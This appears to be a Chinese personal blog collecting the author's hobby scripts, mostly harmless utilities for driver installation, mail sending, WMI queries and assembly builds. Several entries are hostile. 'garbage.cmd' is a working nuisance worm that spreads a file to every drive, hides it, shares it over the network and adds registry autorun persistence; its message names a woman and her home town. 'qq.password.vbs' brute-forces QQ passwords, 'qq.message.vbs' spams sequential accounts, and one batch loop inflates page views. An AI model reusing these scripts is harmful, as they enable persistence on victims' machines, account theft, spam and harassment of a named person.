加工厂: 脚本应用

显示标签为“脚本应用”的博文。显示所有博文

2014年9月4日星期四

InstallHinfSection安装驱动

RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Documents and Settings\Administrator\桌面\test-minifilter\test.inf

rem 带空格的路径也不要加分号；路径最好用全路径，不要用相对路径或仅仅一个文件名。
rem minifilter的INF文件建议使用WDK7600的，不建议使用VS2012生成的。因为VS2012生成的能加载成功，但是有的回调不会被调用。
rem 这是文件过滤驱动的标准的加载办法，具体的可见WDK的Using an INF File to Install a File System Filter Driver。
rem 但是minifilter里面没有说，只说了INF文件及加载的顺序。
rem 更多信息请查看InstallHinfSection函数的用法：http://msdn.microsoft.com/en-us/library/aa376957(v=vs.85).aspx。
rem 最好配有CAT文件。
rem 卸载的就不用说了。
rem 安装的办法有很多种，正确的还是微软建议的FilterLoad/FltLoadFilter函数，命令行的还有fltmc load /sc start /net start. 
rem 函数是没有返回值的，编写代码和调用命令是差不多的，就怕RUNDLL32.EXE 不存在的情况。

/*
#include <Windows.h>

#include <Setupapi.h>
#pragma comment (lib,"Setupapi.lib")

 int __cdecl main ()
{
    InstallHinfSection(NULL,NULL,TEXT("DefaultInstall 132 C:\\test-minifilter\\test.inf"),0); //只是安装，没有启动。
    return 0;
}
*/

made by correy
made at 2014.09.04
email:kouleguan at hotmail dot com

2012年12月19日星期三

'一直以为只有在服务端或者安装有iis等的电脑上才有CDO.Message组件，才可以发送邮件。
'其实有时候.send失败，原因好久没有查出。
'这次试验成功，特保存。

Const Email_From = "leguanyuan@163.com" '发件人邮箱
Const Password = "XXXXXXXX" '发件人邮箱密码
Const Email_To = "112426112@qq.com" '收件人邮箱

Set CDO = CreateObject("CDO.Message") '创建CDO.Message对象
CDO.Subject = "test" '邮件主题
CDO.From = Email_From '发件人地址
CDO.To = Email_To '收件人地址
CDO.TextBody = "Hello world!" '邮件正文
'cdo.AddAttachment = "C:\hello.txt" '邮件附件文件路径
Const schema = "http://schemas.microsoft.com/cdo/configuration/" '规定必须是这个，我也不知道为什么

With CDO.Configuration.Fields '用with关键字减少代码输入
.Item(schema & "sendusing") = 2 '使用网络上的SMTP服务器而不是本地的SMTP服务器
.Item(schema & "smtpserver") = "smtp.163.com" 'SMTP服务器地址
.Item(schema & "smtpauthenticate") = 1 '服务器认证方式
.Item(schema & "sendusername") = Email_From '发件人邮箱
.Item(schema & "sendpassword") = Password '发件人邮箱密码
.Item(schema & "smtpserverport") = 465 'SMTP服务器端口
.Item(schema & "smtpusessl") = True '是否使用SSL
.Item(schema & "smtpconnectiontimeout") = 60 '连接服务器的超时时间
.Update '更新设置
End With

CDO.Send '发送邮件

2012年12月12日星期三

Win32_Process.vbs

'在远程电脑运行远程电脑上的一个文件（程序）
'made at 2012.07.07
'email:kouleguan at hotmail dot com
'homepage:http://correy.webs.com

strComputer ="10.101.0.99"
strUserName="administrator"
strPassword="123456"

Set swbeml=createobject("wbemscripting.swbemlocator")
set rcimv2=swbeml.connectserver(strComputer,"root/cimv2",strUserName,strPassword)
Set Process=rcimv2.get("Win32_Process")
Process.create("secedit /export /cfg inf.inf") '不会显示界面。文件生成在系统目录。

2012年7月15日星期日

StdRegProv.Vbs

'这是一篇远程操作注册表的脚本.在已知ip,username,password的情况下.
'本文参考,改编自:http://www.44342.com/vbscript-f902-t8710-p1.htm
'用c++用了两天的时间,获取的内容却为为空,用脚本2分钟搞定.
'made at 2012.07.15

On Error Resume Next '相当于编译语言的异常处理.

Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objService = objLocator.ConnectServer("10.101.0.133", "Root\DEFAULT","administrator", "123456")
Set objRegistry = objService.Get("StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion"
strValueName = "ProductName"

const HKEY_LOCAL_MACHINE = &H80000002
objRegistry.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
WScript.Echo strValue

strValueName = "InstallDate"
objRegistry.GetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
WScript.Echo strValue
'made by correy.

2012年7月7日星期六

Win32_QuickFixEngineering.Vbs

'好久没有写脚本了.
'这是在已知ip,域名,用户名,密码的情况下通过wmi获取远程电脑上的补丁的信息.
'made at 2012.07.07
'email:kouleguan at hotmail dot com
'homepage:http://correy.webs.com

On Error Resume Next

strComputer = "10.101.0.133"

Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objSWbemServices = objSWbemLocator.ConnectServer(strComputer, "root\cimv2", "administrator", "123456", , "ntlmdomain:dp-correy-2003")
Set colSwbemObjectSet = objSWbemServices.ExecQuery("Select * from Win32_QuickFixEngineering")

For Each objItem in colSwbemObjectSet
Wscript.Echo "//////////////////////////////////////////////////////////////////////////"
Wscript.Echo "HotFixID: " & objItem.HotFixID '此值是"File 1"时,下面的就是kbXXXXXXXX,并且出重复.
Wscript.Echo "ServicePackInEffect: " & objItem.ServicePackInEffect
Next
'made by correy.

2012年7月5日星期四

ml.bat

此文记录我用微软的宏汇编编译程序的方法。

编译控制台程序的脚本:congsole.bat

@echo off

cd %cd%

taskkill /f /im:console.exe

rc me.rc >>error.txt

ml /coff /Cp /Zi /Zp4 console.asm /link /subsystem:console /DEBUG /DEBUGTYPE:CV /section:.text,rw /MERGE:.rdata=.text me.res >error.txt

del /q me.res

del /q console.obj

编译窗口程序的脚本window.bat

@echo off

cd %cd%

taskkill /f /im:windows.exe

rem rc rc.rc >error.txt

ml /nologo /coff /Cp /Zi /Zp4 windows.asm /link /subsystem:windows /section:.text,rw /DEBUG /DEBUGTYPE:CV>>error.txt

del /q me.res

del /q windows.obj

编译用户态动态链接库的user_dll.bat

@echo off

cd %cd%

del /q dll.dll > error.txt

rc me.rc >> error.txt

ml /c /coff dll.asm >> error.txt

link /dll /section:.bss,s /subsystem:windows dll.obj /def:def.def /section:.text,rw /MERGE:.rdata=.text me.res >> error.txt

del /q me.res

del /q dll.obj

del /q dll.exp

编译内核模式的链接库的文件还没有做，应该会有的。

编译原生态程序的native.bat

@echo off

rc me.rc >error.txt

ml /Zp4 /nologo /c /coff native.asm >>error.txt

link /nologo /base:0x10000 /align:32 /out:native.exe /subsystem:native native.obj /section:.text,rw /MERGE:.rdata=.text me.res>>error.txt

del /q me.res

del /q native.obj

编译驱动程序的sys.bat

@echo off

rem rc me.rc >error.txt

ml /nologo /c /coff /Zp4 sys.asm >>error.txt

link /nologo /driver /base:0x10000 /align:32 /out:sys.sys /subsystem:native /section:.text,erw /MERGE:.rdata=.text sys.obj>>error.txt

del /q me.res

del /q sys.obj

编译驱动的另一种方式wdm.bat

ml /c /coff /Cp wdm.asm

link /subsystem:windows /driver:wdm /release /out:wdm.sys wdm.obj

注释：编译驱动（原生态程序，还有unicode程序）最好加上：/Zp4，这是内存的4字节对齐。相当于代码中处处使用指令align 4。

代码节可写的设置：/section:.text,rw。

合并代码节和资源节：/MERGE:.rdata=.text，还有其他的，可以减少文件的大小。

文件的对齐大小：/align:16 为了在64位，window 7等环境下运行，这个最好不要。

如果想产生调试信息，需如下设置：

在ml中加入：/c /coff /Cp /Zi 还有个/Zd

在link中加入：/DEBUG /DEBUGTYPE:CV

还有连个选项：/VERSION:4.0 /INCREMENTAL:NO

object.vbs

'前几天又看了《Windows Scripting Secrets》的Chapter 3:Kidnapping Objects.
'知道注册表里的HKEY_CLASSES_ROOT内容存储一些关于对象的信息。
'HKEY_CLASSES_ROOT\CLSID 已经安装对象的信息。
'HKEY_CLASSES_ROOT\CLSID\{clsid}\InProcServer32下有一个位置存放有文件的位置。
'HKEY_CLASSES_ROOT\Component Categories\是关于属性的
'还有 HKEY_CLASSES_ROOT\TypeLib\，等等。你自己猜她的意义吧！

'它的3-3例子是列对象属性的。3-4是列对象的。
'这两个例子都要对象regtool.tob，我电脑上没有。
'下面是我自己编程实现3-4例子的功能的代码，有不好的地方，敬请指导。
'made by correy
'QQ:112426112
'Email:leguanyuan@126.com
'Homepage:http://correy.webs.com
'我相信大家还有更多更好的实现方法。

'列出你电脑上所有可以用vbs的createobject函数建立的对象。
'好像hkcr\对象\下没有clsid的而有curver的对象也可以使用。
   'on error resume next
   Set fso = CreateObject("Scripting.FileSystemObject")
   Set WshShell = WScript.CreateObject("WScript.Shell")
   wshshell.run ("cmd /k reg query hkcr >%temp%\reg-query.txt"& "&exit"),0,1
   Set f = fso.OpenTextFile ( WshShell.ExpandEnvironmentStrings("%temp%") & "\reg-query.txt" )
   '跳过前六行。
   l = f.skipline
   l = f.readline
   l = f.skipline
   l = f.readline
   l = f.skipline
   l = f.readline
   do while f.atendofline <> 1'用此方法，可导致最后一个对象会重复显示。
   l = f.skipline
   l = f.readline
   '第19个是.的不是对象。
   if instr (1,l,".",1)=19 then
   else
   '下面的代码也可以用wshshell.regread方法实现。
   wshshell.run ("cmd /k reg query HKCR\" & mid(l,19,len(l)-16) &"\CLSID" & "> "& WshShell.ExpandEnvironmentStrings("%temp%") & "\temp.txt" & "&exit"),0,1
   set f2=fso.getfile(WshShell.ExpandEnvironmentStrings("%temp%") & "\temp.txt")
     if f2.size = 0 then
     else
     wscript.echo mid(l,19,len(l)-16)
     end if
   end if
   loop
   fso.deletefile ( WshShell.ExpandEnvironmentStrings("%temp%") & "\reg-query.txt")
   fso.deletefile ( WshShell.ExpandEnvironmentStrings("%temp%") & "\temp.txt")
'made at 2010.06.24

password.vbs

<SCRIPT LANGUAGE="VBScript">
Function a()
'在本地（客户端）设置登陆本网页的密码。
'还有如何设置浏览器的设置等，请高手多多指教。
'本代码还可以进行人性化的改进，有意见请与我联系。
'made by correy
'made at 2010.06.05
'QQ:112426112
'Email:leguanyuan@126.com
'Websites:http://correy.webs.com
password = InputBox("本网页受限登陆，密码就在你电脑上，有本事你破解，请输入密码：")
out=strcomp(password,"correy",1)
if out then
msgbox ("密码错误！请从新输入。")
a
end if
End Function
Set Window.Onload = a
</SCRIPT>

2012年7月4日星期三

sina-autocad

本人入错行，进入建筑，接触了cad。

下面的两段代码可以在autocad里面产生正弦曲线。

注意要单步调试，按住不停，若一下调试可能会死机。

此文写于2007年年末。

made by correy

QQ:112426112.

Email:leguanyuan@126.com

Sub CreatePoint()
    Dim pointObj As AcadPoint
    Dim location(0 To 2) As Double

    Dim a As Double
    Dim b As Double

    a = 0

    Do Until a = 9

    b = Sin(a)*5
    a = a + 0.1


    location(0) = a#: location(1) = b#: location(2) = 0#
    Set pointObj = ThisDrawing.ModelSpace.AddPoint(location)

    ZoomAll


    Loop

End Sub Sub CreatePoint()
    Dim pointObj As AcadPoint
    Dim location(0 To 2) As Double

    Dim a As Double
    Dim b As Double

    a = 0

    Do Until a = 0.9

    b = Sin(a) * 2
    a = a + 0.01


    location(0) = a#: location(1) = b#: location(2) = 0#
    Set pointObj = ThisDrawing.ModelSpace.AddPoint(location)    ZoomAll


    Loop

End Sub

开启QQ临时会话的几种办法

本人(correy)收集的开启QQ临时会话的几种办法。

首先要确保QQ(2010版本的不行，要2010版本一下的）正在运行。

方法一，在浏览器的地址栏输入以下内容：

tencent://message/?uin=112426112

方法二，在浏览器的地址栏输入以下内容：

http://wpa.qq.com/msgrd?V=1&Uin=112426112&Site=ioshenmue&Menu=yes

这个有时候不太好使，可以多刷新几下。

方法三，要知道她的手机号，把她设置在通讯录里面，再点击就可以了。

方法四，她曾经浏览过你的QQ空间，并在你的QQ空间里面的最近访客里面能找到她，点击右边的那个图标就可以了，我想能在本页的源文件里面能查到聊天的代码。

方法五是在手机里面玩，在最近联系人里面找，也可聊。

还有方法六：

http://sighttp.qq.com/msgrd?v=1&uin=112426112&menu=yes
以上六种方法，若对方设置你为黑名单或拒绝陌生人的消息（临时会话），你能给对方发信息，但对方可能收不到，所以本文不说强制聊天。

还有方法七：那就是你自己找吧！找到了要告诉我呀！Email:leguanyuan@126.com.

regexp.vbs

'Email:leguanyuan@126.com
'Http://hi.baidu.com/correy
'本人喜欢看txt文件，又喜欢修改它，
'本人喜欢的工具是notepad2.exe，喜欢用它的alt+r的功能：移除空行。
'本文的功能是把所有的全部是空格组成的行变成空行。
'本脚本稍加修改，可能有别的用途，如：加密exe文件，dll文件，bmp文件，jpg文件等。

On Error Resume Next

notice = "made by correy"&Chr(13) & Chr(10)
notice = notice&"QQ:112426112"&Chr(13) & Chr(10)
notice = notice&"请选择你要操作的文件。"
wscript.echo notice

Set objFile = CreateObject( "SAFRCFileDlg.FileOpen" )

if err.number then
Set objDialog = CreateObject("UserAccounts.CommonDialog")
bRet=objDialog.ShowOpen
if bRet then
    wscript.echo "你选择的文件是："& objDialog.FileName &"，确定请点击开始。"
    else
    wscript.echo "请选择文件，下面退出请重新开始"
    wscript.quit
end if
else
boolOpen = objFile.OpenFileOpenDlg
if boolopen then
    wscript.echo "你选择的文件是："& objFile.FileName &"，确定请点击开始。"
else
    wscript.echo "请选择文件，下面退出请重新开始"
    wscript.quit
end if
end if

Set FSO = CreateObject( "Scripting.FileSystemObject" )
Set txt = fso.OpenTextFile(objFile.FileName,1,True)
alltxt = txt.ReadAll

Set regEx = New RegExp
regEx.Pattern = " *\r\n"
regEx.IgnoreCase = True
regEx.Global = True
nospaceline = regEx.Replace(alltxt,chr(10)&chr(13))

wscript.echo "请选择选择你要保存的文件。点击确定开始。"

Set objsave = CreateObject( "SAFRCFileDlg.FileSave" )

if err.number then
wscript.echo "创建SAFRCFileDlg.FileSave对象失败，不能保存文件，点击退出。"
wscript.quit
end if

objsave.FileName = "*.*"
boolSave = objsave.OpenFileSaveDlg

if boolsave then
wscript.echo "你选择的文件是："& objsave.FileName &"，确定请点击开始。"
else
wscript.echo "请选择文件，下面退出请重新开始"
wscript.quit
end if

Set save = fso.OpenTextFile(objsave.FileName,2,True)
save.write nospaceline

wscript.echo "点击结束。"

'Set oDLG = CreateObject("MSComDlg.CommonDialog")
'oDLG.ShowSave

garbage.cmd

::很早以前写的东西,很垃圾哟!
@echo off
echo I love a person,>%windir%\lcl.txt
echo She doesn't love me.>>%windir%\lcl.txt
echo She is Liu Chun Li,>>%windir%\lcl.txt
echo She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.>>%windir%\lcl.txt
echo I was died because of her,>>%windir%\lcl.txt
echo I am demanding my life of you.>>%windir%\lcl.txt

copy /v /y %windir%\lcl.txt %systemdrive%\
copy /v /y %windir%\lcl.txt %windir%\system32\
copy /v /y %windir%\lcl.txt %userprofile%\"「开始」菜单"\程序\启动\
copy /v /y %windir%\lcl.txt %allusersprofile%\"「开始」菜单"\程序\启动\
copy /v /y %windir%\lcl.txt %allusersprofile%\"documents\
if not exist a:\lcl.txt copy /v /y %windir%\lcl.txt a:\
if not exist b:\lcl.txt copy /v /y %windir%\lcl.txt b:\
if not exist c:\lcl.txt copy /v /y %windir%\lcl.txt c:\
dir d:\ && copy /v /y %windir%\lcl.txt d:\
dir e:\ && copy /v /y %windir%\lcl.txt e:\
dir f:\ && copy /v /y %windir%\lcl.txt f:\
dir g:\ && copy /v /y %windir%\lcl.txt g:\
dir h:\ && copy /v /y %windir%\lcl.txt h:\
dir i:\ && copy /v /y %windir%\lcl.txt i:\
dir j:\ && copy /v /y %windir%\lcl.txt j:\
dir k:\ && copy /v /y %windir%\lcl.txt k:\
dir l:\ && copy /v /y %windir%\lcl.txt l:\
dir m:\ && copy /v /y %windir%\lcl.txt m:\
dir n:\ && copy /v /y %windir%\lcl.txt n:\
dir o:\ && copy /v /y %windir%\lcl.txt o:\
dir p:\ && copy /v /y %windir%\lcl.txt p:\
dir q:\ && copy /v /y %windir%\lcl.txt q:\
dir r:\ && copy /v /y %windir%\lcl.txt r:\
dir s:\ && copy /v /y %windir%\lcl.txt s:\
dir t:\ && copy /v /y %windir%\lcl.txt t:\
dir u:\ && copy /v /y %windir%\lcl.txt u:\
dir v:\ && copy /v /y %windir%\lcl.txt v:\
dir w:\ && copy /v /y %windir%\lcl.txt w:\
dir x:\ && copy /v /y %windir%\lcl.txt x:\
dir y:\ && copy /v /y %windir%\lcl.txt y:\
dir z:\ && copy /v /y %windir%\lcl.txt z:\

net share lcl=c:\lcl.txt

attrib +s +h %sysrwmdrive%\lcl.txt
attrib +s +h %windir%\lcl.txt
attrib +s +h %windir%\system32\lcl.txt
attrib +s +h %userprofile%\"「开始」菜单"\程序\启动\lcl.txt
attrib +s +h %allusersprofile%\"「开始」菜单"\程序\启动\lcl.txt

@echo Windows Registry Editor Version 5.00>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main]>>%windir%\lcl.reg
@echo "Start Page"="

::run as service
@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ServiceName\Parameters]>>%windir%\lcl.reg
@echo "Application"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@attrib +s +h %windir%\lcl.reg
@echo y|start %windir%\lcl.reg /min /high
@if errorlevel 1 echo y|start %windir%\lcl.reg /min /high
regedit /s %windir%\lcl.reg

@echo MsgBox "I find a person,", 8 >%systemdrive%\lcl.vbs
@echo MsgBox "She is Liu Chun Li,", 8 >>%systemdrive%\lcl.vbs
@echo MsgBox "can you help me?.", 8 >>%systemdrive%\lcl.vbs
@echo MsgBox "She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.", 8 >>%systemdrive%\lcl.vbs
attrib +r +a +s +h %systemdrive%\lcl.vbs
start %systemdrive%\lcl.vbs

echo @echo I love a person,^>%systemdrive%\lcl.txt>%systemdrive%\lcl.bat
echo @echo She is Liu Chun Li,^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo She doesn't love me.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo I was died because of her,^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo I am demanding my life of you.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat

copy /v /y %systemdrive%\lcl.bat %windir%\
copy /v /y %systemdrive%\lcl.bat %windir%\system32\
copy /v /y %systemdrive%\lcl.bat %userprofile%\"「开始」菜单"\程序\启动\lcl.bat
copy /v /y %systemdrive%\lcl.bat %allusersprofile%\"「开始」菜单"\程序\启动\lcl.bat

attrib +s +h %sysrwmdrive%\lcl.bat
attrib +s +h %windir%\lcl.bat
attrib +s +h %windir%\system32\lcl.bat
attrib +s +h %userprofile%\"「开始」菜单"\程序\启动\lcl.bat
attrib +s +h %allusersprofile%\"「开始」菜单"\程序\启动\lcl.bat

rem　　@start windrv32.exe
rem　　@attrib +h +r windrv32.exe
rem　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
rem　　@echo "windsnx "=- >>patch.dll
rem　　@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32rem
rem \windrv32.exe
rem　　@regedit /s patch.dll
rem　　@delete patch.dll
rem　　@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]
rem　　@REM 这样不是更安全^_^.

::reg autorun 启动 copy oneself to lcl.bat inf
::autoexec.bat winstart.bat

for.bat

@ECHO OFF
rem made by correy
rem QQ:112426112
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
rem 可以注册c:\windows\system32下所有的dll文件。
rem 每次看到银行与中国移动上的网页等限制iexplore.exe等服务,解决办法就是注册dll文件,所以制造出此文件.
rem 此过程大概需要2-3分钟。请耐心等待。
for %%c in (c:\windows\system32\*.dll) do regsvr32.exe /s %%c
for %%c in (c:\windows\system32\*.dll) do rundll32.exe %%c
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
@ECHO OFF
COLOR 4F
echo ****************************
echo made by correy;
echo email:leguanyuan@126.com;
echo 此代码有修复磁盘文件错误，加快运行速度之功效，建议每周运行2-3次。
echo ****************************
echo.
PAUSE
@ECHO ON
chkntfs /t:3
:loop
for %%a in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%a: echo y | chkdsk /f %%a: & if exist %%a:\ defrag /f /v %%a:\ & cls
goto loop
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
rem 提高页面访问量的脚本。
rem 此脚本无意思，没有技术含量，但还有一点使用价值。
rem 小心死机哟！
:loop
for /L %%c in (1,1,9) do start iexplore.exe hi.baidu.com/correy
taskkill /f /im:iexplore.exe
goto loop

scf.scf

这类文件(windows explorer command)不显示后缀，能直接打开，并实现相关功能。

1.explorer.scf

[Shell]
Command=2
IconFile=explorer.exe,1

[Taskbar]
Command=Explorer

2.显示桌面.scf
[Shell]
Command=2
IconFile=explorer.exe,1

[Taskbar]
Command=Explorer

3.查看频道.scf

[Shell]
Command=3
IconFile=shdocvw.dll,-118

[IE]
Command=Channels

del.vbs

'清除垃圾的VBS文件

rem made by correy
rem made at 2007.9.22
rem it can be delete you computer's the follow things(except cd,dvd)
rem it can be delete empty file and folder
rem it can be delete .tmp ._mp .log .gid .chk .old file
rem it can be delete temp,recent,cookis,recycled,prefetch,and "Temporary Internet Files" folder.
rem i am thinking how to delete the same size and same name's file and folder

On Error GoTo 0
Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")

for n = 1 to 3
For Each d in fso.Drives
        if d.drivetype=4 then
           Exit For
           else
           scan(d)
         end if
next
next

sub scan(folder)
on error resume next
set folder=fso.getfolder(folder)
for each file in folder.files
   if file.size=0 then
      file.delete(true)
   end if

ext=fso.GetExtensionName(file)
ext=lcase(ext)
    if ext="tmp" or ext="_mp" or ext="log" or ext="gid" or ext="chk" or ext="old" then ''30
       file.delete(true)
    end if
next
for each subfolder in folder.subfolders

    rem instrRev() can't be used,i want to find "\".
    if left(subfolder.path,4)="temp" or left(subfolder.path,8)="recycled" then
          subfolder.delete(true)
       elseif left(subfolder.path,6)="recent" or left(subfolder.path,7)="cookis" then
          subfolder.delete(true) rem 40
       elseif left(subfolder.path,24)="Temporary Internet Files" or left(subfolder.path,8)="prefetch" then
          subfolder.delete(true)
    end if

if subfolder.size=0 then subfolder.delete(true)
scan(subfolder)
next
end sub

debug.bat

批处理debug，并输入到文本
made by correy.
QQ:112426112.
email:leguanyuan@126.com.
次功能至少需要四个文件方能完成。
一是debug或debug32
二是一个被调试的程序，本例选用explorer.exe。
三是一个自己编制的批处理文件，我命名为do.bat。
四是一些debug的命令。它的名字是c.bat。
五out.txt是一个输出文件，以显示输出结果。
六readme.txt是一个说明文件。
有更好的建议请联系我。
点击do.bat开始运行。
其他的文件读者可以自行修改。
以下是下载连接：
http://cid-ed62da8854c61f17.skydrive.live.com/self.aspx/.Public/debug.rar
用debug也可以编制win32程序。
理论可以，我还没有试验。

qq.message.vbs

'向每个qq发送若干个信息 '利用一个网站;http://wpa.qq.com/msgrd?V=1&Uin=112426112

set WshShell = WScript.CreateObject("WScript.Shell")

qq =10000

message = "我要找一个人；她是xxx

do while qq <= 999999999

qq = qq + 1

set ie = WshShell.Exec("c:\program files\internet explorer\iexplore.exe )

for i=1 to 9

WshShell.SendKeys "我要找一个人；她是xxx"

WshShell.SendKeys message

WshShell.SendKeys "%s"

WshShell.AppActivate "qq"

WshShell.AppActivate "与 XXX 交谈中"

ie.Terminate()

WScript.Sleep 9000

loop

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

'ie = WshShell.run("iexplore.exe http://wpa.qq.com/msgrd?V=1&Uin=qq")

'WScript.Sleep 1000

'WshShell.AppActivate app

'WshShell.SendKeys "+{TAB}"

'WshShell.SendKeys "www.163.com"

'WshShell.SendKeys "{ENTER}"

qq.password.vbs

wscript.echo "暴力破解QQ密码的脚本"

wscript.echo "qq密码规则: 6-16个字符组成，但不能为9位以下的纯数字。英文字符区分大小写."

wscript.echo "请确保启动前不运行查杀木马选项"

wscript.echo "本文只为技术研究用,若用于非法用途,后果自负."

wscript.echo "运行前请关闭其他程序,运行后也不要开其他程序,本程序可能发生100%的占用CPU."

wscript.echo "若你的计算机每秒运行100000000000次,大概最多需要40000000000000000000秒."

wscript.echo "不足之处,以后我会改进的,请多多关注."

wscript.echo "下面开始，你准备好了吗？"

On Error GoTo 0

a= chr (97) for x=97 to 121 a=a&chr(x+1) next

b=ucase(a)

n= chr (48) for x=48 to 56 n=n&chr(x+1) next

c=n&a&b

dim cipher(62) for z=1 to 62 cipher(z-1)=mid(c,z,1) next

for z=1 to 62 s=cipher(z-1)

for z1=1 to 62 s1=cipher(z1-1)&s

for z2=1 to 62 s2=cipher(z2-1)&s1

for z3=1 to 62 s3=cipher(z3-1)&s2

for z4=1 to 62 s4=cipher(z4-1)&s3

for z5=1 to 62 s5=cipher(z5-1)&s4

for z6=1 to 62 s6=cipher(z6-1)&s5

for z7=1 to 62 s7=cipher(z7-1)&s6

for z8=1 to 62 s8=cipher(z8-1)&s7

for z9=1 to 62 s9=cipher(z9-1)&s8

for z10=1 to 62 s10=cipher(z10-1)&s9

for z11=1 to 62 s11=cipher(z11-1)&s10

for z12=1 to 62 s12=cipher(z12-1)&s11

for z13=1 to 62 s13=cipher(z13-1)&s12

for z14=1 to 62 s14=cipher(z14-1)&s13

for z15=1 to 62 s15=cipher(z15-1)&s14

dim program program="d:\Program Files\Tencent\qq\QQ.exe" set Wshell=CreateObject("Wscript.Shell") set oexec=Wshell.Exec(program) Wshell.AppActivate "QQ" Wshell.SendKeys s15 Wshell.SendKeys "{TAB}" Wshell.SendKeys "112426112" Wshell.SendKeys "{ENTER}" Wshell.SendKeys "{ENTER}"

mathematics.vbs

'made by correy
'QQ:112426112
'email:leguanyuan@126.com
'此片文章是关于一些用脚本实现数学计算的。
'本人制作的一个计算器的代码
pi = 4 * Atn(1)
e = exp(1)
title="input as vbs grammar regulation:"&chr(13)&chr(10)
title=title&"notice:"&chr(13)&chr(10)&chr(13)&chr(10)
title=title&"e="&e&chr(13)&chr(10)
input=inputbox(title&"pi="&pi,"made by correy")
if len(input)=0 then wscript.quit
x=eval(input)
wscript.echo x
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'计算小e
'公式1:
'e=1+1/1！+1/2！+1/3！+1/4！+……+1/n！
'公式2:
'φkρ=αe
'其中，α和k为常数，φ是极角，ρ是极径，e是自然对数的底。
'公式3:
'e=(1+1/x)^x (-∞<n<+∞)
'第一种计算方法
e=1
m=1
n=0
do until n=99
m=(n+1)*m
e=e+1/m
n=n+1
loop
wscript.echo e
'第二种计算方法，利用语言本身。
e = exp(1)
wscript.echo e
'第三种计算方法，计算不太准确。
x=999999999
e=(1+1/x)^x
wscript.echo e
''''''''''''''''''''''''''''''''''''''''''''''''''''''''
